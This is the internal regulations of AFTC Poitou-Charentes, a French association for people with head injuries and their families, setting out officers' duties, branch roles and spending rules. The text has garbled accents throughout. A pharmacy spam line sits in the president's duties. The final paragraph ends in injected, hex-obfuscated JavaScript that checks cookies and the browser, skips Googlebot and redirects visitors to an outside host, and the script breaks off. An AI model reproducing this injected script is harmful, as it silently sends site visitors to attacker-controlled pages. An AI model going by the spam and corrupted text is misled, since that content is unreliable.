Le 15 mai 2013

Ce rAi??glement intAi??rieur a vocation Ai?? complAi??ter les statuts de l’association et d’en dAi??finir le fonctionnement interne.(cf tableau organisation interne). Cette organisation reposera sur l’implication des membres du C.A. Ainsi, en accord avec les membres du C.A, chacun d’entre eux se verra confier une charge et pourra s’appuyer sur un/des membre(s) en vue de mener Ai?? bien cette mission.

 

1. ORGANISATION GENERALE :

 

L’AFTC Poitou-Charentes Ai??tant constituAi??e de 4 dAi??partements, il convient, dans le but d’A?tre plus prA?ss des centres de dAi??cision (rAi??gionaux et/ou dAi??partementaux) et plus prA?s des familles, de disposer d’une organisation Ai?? 2 niveaux :

  • les Instances RAi??gionales
  • les Antennes DAi??partementales

 

2. ROLE DES INSTANCES REGIONALES :

 

2.1. Le Conseil d’Administration :

  • veille au bon fonctionnement de l’Association
  • dAi??cide de ses orientations et de ses prioritAi??s en s’appuyant sur les besoins exprimAi??s parAi??les Antennes DAi??partementales
  • prAi??pare l’AssemblAi??e GAi??nAi??rale

 

2.2. Le Bureau :

  • assume le fonctionnement courant de l’Association
  • prAi??pare les dAi??cisions du Conseil qui engagent l’Association

 

2.3. Le PrAi??sident :

    Sildalis no rx, order clomid.

  • organise les manifestations rAi??gionales
  • assure la reprAi??sentation des usagers auprA?s des structures mAi??dicales Ai?? la demande deAi??l’ARS.
  • assure les relations avec les autres Associations
  • assure les relations auprA?s des structures d’accueil des traumatisAi??s crA?niens
  • oriente la politique de crAi??ation de structures et de services au profit des traumatisAi??sAi??crA?niens et de leurs familles Ai?? partir des besoins exprimAi??s par les AntennesAi??DAi??partementales
  • reprAi??sente l’Association auprA?s des mAi??dias
  • assure les relations avec l’UNAFTC
  • anime les Antennes DAi??partementales
  • reprAi??sente l’Association auprA?s des Ai??chelons rAi??gionaux de l’Etat ( DRASS , ARH ,Ai??CRUS , URCAM … ) et si besoin auprA?s des Instances RAi??gionales d’AssociationsAi??Nationales ( APF,UNAPEI…)

 

2.4. Les Vice-PrAi??sidents :

  • remplacent le PrAi??sident Ai?? sa demande chaque fois que nAi??cessaire
  • l’assistent dans ses diffAi??rentes fonctions

 

2.5. Le SecrAi??taire assure:

  • les travaux de secrAi??tariat
  • le classement du courrier arrivAi??e et dAi??part
  • la distribution du courrier au sein de l’Association
  • l’expAi??dition du courrier dAi??part
  • la mise Ai?? jour du fichier des adhAi??rents
  • la tenue des archives
  • le suivi des procA?s-verbaux
  • l’Ai??tablissement annuel , Ai?? partir des informations fournies par les AntennesAi??DAi??partementales , du tableau d’activitAi?? de l’Association
  • la tenue de l’historique de l’Association

 

2.6. Le TrAi??sorier assure :

  • la tenue de la comptabilitAi??
  • le suivi de la trAi??sorerie
  • le suivi des cotisations des adhAi??rents
  • l’Ai??laboration du compte de rAi??sultat
  • la prAi??paration et la mise en Ai??uvre du budget
  • l’Ai??tablissement des piA?ces financiA?res Ai?? joindre aux demandes de subvention
  • les remboursements de frais

 

2.7. Les membres du Conseil d’Administration peuvent A?tre chargAi??s plus particuliA?rement :

  • du lien avec les familles
  • de la communication : nouvelles pAi??riodiques aux familles, articles pour la revueAi??RAi??surgences, articles pour la Presse , mise Ai?? jour du site Internet de l’UNAFTC etAi??en particulier de l’agenda des rAi??unions et des manifestations
  • de l’animation des actions de prAi??vention des accidents en liaison avec les AntennesAi??DAi??partementales
  • des questions juridiques et notamment celles relatives Ai?? l’indemnisation des T.C.
  • des problA?mes d’accessibilitAi?? et des relations avec les diffAi??rents organismes concernAi??s.

 

3. ROLE DES ANTENNES DEPARTEMENTALES :

 

  • Les Antennes DAi??partementales sont , au nom de l’Association , au contact des adhAi??rents et des instances mAi??dicales , sociales et administratives de leur dAi??partement . A ce titre, elles ont enAi??charge par dAi??lAi??gation :
  • la recherche de nouveaux adhAi??rents
  • le soutien des familles
  • l’organisation de rAi??unions conviviales et de manifestations locales
  • laAi?? recherche de subventions avec transmission au trAi??sorier des argumentaires nAi??cessairesAi??pour constitution du dossier et signature du PrAi??sident
  • l’assistance des adhAi??rents dans leurs dAi??marches auprA?s des structures mAi??dicales , sociales etAi??administratives du dAi??partement
  • la reprAi??sentation de l’Association auprA?s de la MDPH et des sructures dAi??partementales deAi??l’Etat ( DDASS , PrAi??fecture ….) et du Conseil GAi??nAi??ral
  • le contact avec les diverses Associations locales du systA?me de santAi??
  • la participation aux actions de prAi??vention routiA?re du dAi??partement

 

Toutes ces actions sont effectuAi??es en coordination avec les Instances RAi??gionales de l’Association

 

 

 

4.COURRIER ET ENGAGEMENT DE L’AFTC :

 

Le PrAi??sident , dans le cadre de son mandat, engage l’Association par Ai??crit ou par oral .

Les membres du Bureau , chacun dans le domaine qui leur a Ai??tAi?? assignAi?? et aprA?s accord du Bureau , ou en cas d’urgence aprA?s accord du PrAi??sident , peuvent engager l’Association par Ai??crit comme par oral .

 

De mA?me les Antennes DAi??partementales , dans le cadre de leur dAi??lAi??gation , peuvent engager l’Association par Ai??crit comme par oral .

 

Toutes les piA?ces de correspondance Ai??mises au nom de l’AFTC dans les 4 dAi??partements doivent A?tre adressAi??es en double au secrAi??tariat , oA? elles sont classAi??es et archivAi??es .

 

5. TRESORERIE ET ENGAGEMENT DE L’AFTC :

 

Seuls le PrAi??sident et le TrAi??sorier ont la signature des chA?ques Ai??mis au nom de l’Association.

 

Les dAi??penses Ai?? engager , quelle que soit leur nature , d’un montant supAi??rieur Ai?? 150 euros devront avoir reAi??u l’autorisation Ai??crite du PrAi??sident qui en fera copie au TrAi??sorier .

 

Les dAi??penses dont le montant serait supAi??rieur Ai?? 500 euros devront avoir fait l’objet d’un accord du Conseil d’Administration .

 

Le TrAi??sorier a tout pouvoir pour refuser une demande de paiement en cas de manquement Ai?? l’une des rA?gles ci-dessus .

 

6. DELEGATION ET COMMISSIONS :

 

Le Conseil d’Administration peut dAi??cider de donner mandat Ai?? tel ou tel de ses membres ou Ai?? toute personne membre de l’Association pour suivre, sous le contrA?le du PrAi??sident , une question particuliA?re. Cette dAi??lAi??gation peut A?tre organisAi??e en Commission avec dAi??signation d’un responsable

 

7. REMBOURSEMENT DES FRAIS :

 

L’activitAi?? des membres du Conseil d’Administration est totalement bAi??nAi??vole .

 

Les membres du Conseil d’Administration , des Commissions et les personnes effectuant une mission sont remboursAi??s de leur frais de dAi??placement et d’hAi??bergement sur prAi??sentation des justificatifs correspondants

 

Les reprAi??sentants des usagers du SystA?me de santAi?? se font rembourser directement par les Ai??tablissements oA? ils interviennent .

 

Les remboursements de frais sont , comme toute dAi??pense , soumis auxAi?? rA?gles gAi??nAi??rales d’autorisation du paragraphe 5 ci-dessus .

 

8. SORTIES DES TC ET DES FAMILLES :

 

A l’initiative d’une personne responsable, dAi??signAi??e par le Bureau, des sorties ou des activitAi??s rassemblant des blessAi??s et des membres de leur famille au sens large ( famille , amis , auxiliaires de vie , accompagnateurs ) peuvent A?tre organisAi??es . Dans ce cas , seule la responsabilitAi?? civile deAi??Ai??Ai?? l’Association est couverte par le contrat d’assurance de l’Association .var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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